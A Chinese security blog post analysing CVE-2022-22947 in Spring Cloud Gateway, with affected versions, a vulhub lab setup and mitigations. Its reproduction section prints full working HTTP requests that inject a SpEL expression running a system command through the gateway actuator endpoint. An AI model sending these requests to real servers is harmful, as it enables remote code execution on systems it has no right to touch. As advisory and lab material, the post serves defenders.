CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析

admin 2022年3月25日16:10:32评论128 views字数 2446阅读8分9秒阅读模式


01
漏洞概述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

据VMware官方发布的安全通告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送构造的恶意请求,从而远程执行任意代码。


02
影响版本

Spring Cloud Gateway < 3.1.1

Spring Cloud Gateway < 3.0.7

Spring Cloud Gateway 其他已不再更新的版本


03
安全版本

Spring Cloud Gateway >= 3.1.1

Spring Cloud Gateway >= 3.0.7


04
环境搭建

(1)本次使用vulhub搭建本地测试环境进行复现:

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

(2)执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:

docker-compose up -d

(3)服务启动后,访问http://your-ip:8080即可看到演示页面,这个页面的上游就是example.com。


05
漏洞复现

(1)添加一个包含恶意SpEL表达式的路由,具体数据包如下:

POST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{ "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com"}

CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析

(2)发送如下数据包应用刚添加的路由,这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析

(3)发送如下数据包即可查看命令执行结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析

(4)最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close

CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析



06
处置建议

官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本;

临时缓解措施:

1. 若不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。

2. 若需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析


CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析

原文始发于微信公众号(第59号):CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月25日16:10:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞分析https://cn-sec.com/archives/841722.html

发表评论

匿名网友 填写信息